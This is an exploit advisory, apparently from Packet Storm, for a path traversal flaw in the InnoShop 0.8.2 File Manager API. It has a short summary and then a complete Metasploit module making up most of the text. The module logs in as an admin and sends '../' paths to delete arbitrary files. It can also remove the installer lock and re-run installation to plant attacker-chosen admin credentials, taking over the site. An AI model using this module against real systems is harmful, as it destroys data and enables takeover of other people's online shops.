Share
## https://sploitus.com/exploit?id=PACKETSTORM:223427
==================================================================================================================================
    | # Title     : InnoShop 0.8.2 File Manager arbitrary file deletion via path traversal                                           |
    | # Author    : indoushka                                                                                                        |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 151.0.3 (64 bits)                                                 |
    | # Vendor    : https://www.innoshop.com/                                                                                        |
    ==================================================================================================================================
    
    [+] Summary    :  This Metasploit module exploits a path traversal vulnerability in the InnoShop File Manager API. 
                      The destroyFiles endpoint does not properly validate file paths, allowing an authenticated administrator to escape the intended media/storage sandbox using ../ sequences.
    
    
    [+] POC        :  
    
    class MetasploitModule < Msf::Auxiliary
      include Msf::Exploit::Remote::HttpClient
      include Msf::Auxiliary::Report
      include Msf::Auxiliary::Scanner
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'InnoShop File Manager Arbitrary File Deletion (CVE-2026-48867)',
            'Description' => %q{
    Path traversal in InnoShop File Manager allows authenticated admin to delete arbitrary files
    outside the sandbox. Can also delete installer lock to trigger reinstall flow.
            },
            'Author' => ['indoushka'],
            'References' => [
              ['CVE', '2026-48867'],
              ['CWE', '22'],
              ['CWE', '73']
            ],
            'License' => MSF_LICENSE,
            'Actions' => [
              ['DELETE_FILE'],
              ['RESET_INSTALLER'],
              ['CHAIN_TAKEOVER']
            ],
            'DefaultAction' => 'DELETE_FILE'
          )
        )
        register_options([
          OptString.new('TARGETURI', [true, 'Base path', '/']),
          OptString.new('ADMIN_EMAIL', [true, 'Admin email', 'admin@innoshop.com']),
          OptString.new('ADMIN_PASSWORD', [true, 'Admin password', 'Passw0rd2026']),
          OptString.new('FILE_TO_DELETE', [false, 'Target file', 'storage/logs/laravel.log']),
          OptInt.new('TRAVERSAL_DEPTH', [true, 'Traversal depth', 3]),
          OptString.new('NEW_ADMIN_EMAIL', [false, 'New admin email', 'attacker@example.com']),
          OptString.new('NEW_ADMIN_PASSWORD', [false, 'New password', 'Hacked@2026']),
          OptBool.new('ForceExploit', [true, 'Allow destructive actions', false])
        ])
        register_advanced_options([
          OptInt.new('INSTALLER_WAIT', [true, 'Wait time', 3]),
          OptBool.new('VERIFY_DELETION', [true, 'Verify deletion', false])
        ])
      end
      def traversal_prefix
        '../' * datastore['TRAVERSAL_DEPTH']
      end
      def build_path(file)
        file = file.sub(%r{^/}, '')
        "#{traversal_prefix}#{file}"
      end
      def full_app_url
        full_uri('')
      end
      def authenticate
        print_status("Authenticating as #{datastore['ADMIN_EMAIL']}")
        res = send_request_cgi({
          'method' => 'POST',
          'uri' => normalize_uri(target_uri.path, 'api/panel/login'),
          'ctype' => 'application/json',
          'data' => {
            email: datastore['ADMIN_EMAIL'],
            password: datastore['ADMIN_PASSWORD']
          }.to_json
        })
        return nil unless res&.code == 200
        json = JSON.parse(res.body) rescue nil
        token = json&.dig('data', 'token')
        if token
          print_good('Authentication successful')
          return token
        end
    
        print_error('Auth failed')
        nil
      end
      def delete_file(token, file)
        res = send_request_cgi({
          'method' => 'DELETE',
          'uri' => normalize_uri(target_uri.path, 'api/panel/file_manager/files'),
          'headers' => {
            'Authorization' => "Bearer #{token}",
            'Accept' => 'application/json'
          },
          'ctype' => 'application/json',
          'data' => {
            path: '/',
            files: [file]
          }.to_json
        })
        return false unless res
        json = JSON.parse(res.body) rescue nil
        json && json['success'] == true
      end
      def verify_deleted(file)
        res = send_request_cgi({
          'method' => 'GET',
          'uri' => normalize_uri(target_uri.path, file.gsub('../', ''))
        })
        res&.code == 404
      end
      def installer_accessible?
        res = send_request_cgi({
          'method' => 'GET',
          'uri' => normalize_uri(target_uri.path, 'install')
        })
        return false unless res
        res.code == 200 && res.body =~ /install/i
      end
      def delete_installer_lock(token)
        delete_file(token, build_path('storage/installed'))
      end
      def reset_admin(token, email, pass)
        return unless datastore['ForceExploit']
        res = send_request_cgi({
          'method' => 'POST',
          'uri' => normalize_uri(target_uri.path, 'install/complete'),
          'ctype' => 'application/json',
          'data' => {
            app_url: full_app_url,
            database_hostname: 'localhost',
            database_name: 'innoshop',
            admin_email: email,
            admin_password: pass,
            admin_password_confirmation: pass
          }.to_json
        })
        res&.code == 200
      end
      def run
        token = authenticate
        return print_error('Auth failed') unless token
        case action.name
        when 'DELETE_FILE'
          file = build_path(datastore['FILE_TO_DELETE'])
          print_status("Deleting: #{file}")
          if delete_file(token, file)
            print_good('Delete request successful')
            verify_deleted(datastore['FILE_TO_DELETE']) if datastore['VERIFY_DELETION']
          end
        when 'RESET_INSTALLER'
          print_status('Deleting installer lock')
          if delete_installer_lock(token)
            Rex.sleep(datastore['INSTALLER_WAIT'])
            print_good("Installer: #{installer_accessible?}")
          end
        when 'CHAIN_TAKEOVER'
          unless datastore['ForceExploit']
            return print_error('Enable ForceExploit=true')
          end
          print_warning('DESTRUCTIVE MODE')
          if delete_installer_lock(token)
            Rex.sleep(datastore['INSTALLER_WAIT'])
            email = datastore['NEW_ADMIN_EMAIL']
            pass = datastore['NEW_ADMIN_PASSWORD']
            print_status("Resetting admin -> #{email}")
            if reset_admin(token, email, pass)
              print_good("New credentials: #{email} / #{pass}")
            end
          end
        end
        report_vuln(
          host: datastore['RHOSTS'],
          port: datastore['RPORT'],
          name: self.name,
          refs: references
        )
      end
    end
    	
    Greetings to :==============================================================================
    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
    ============================================================================================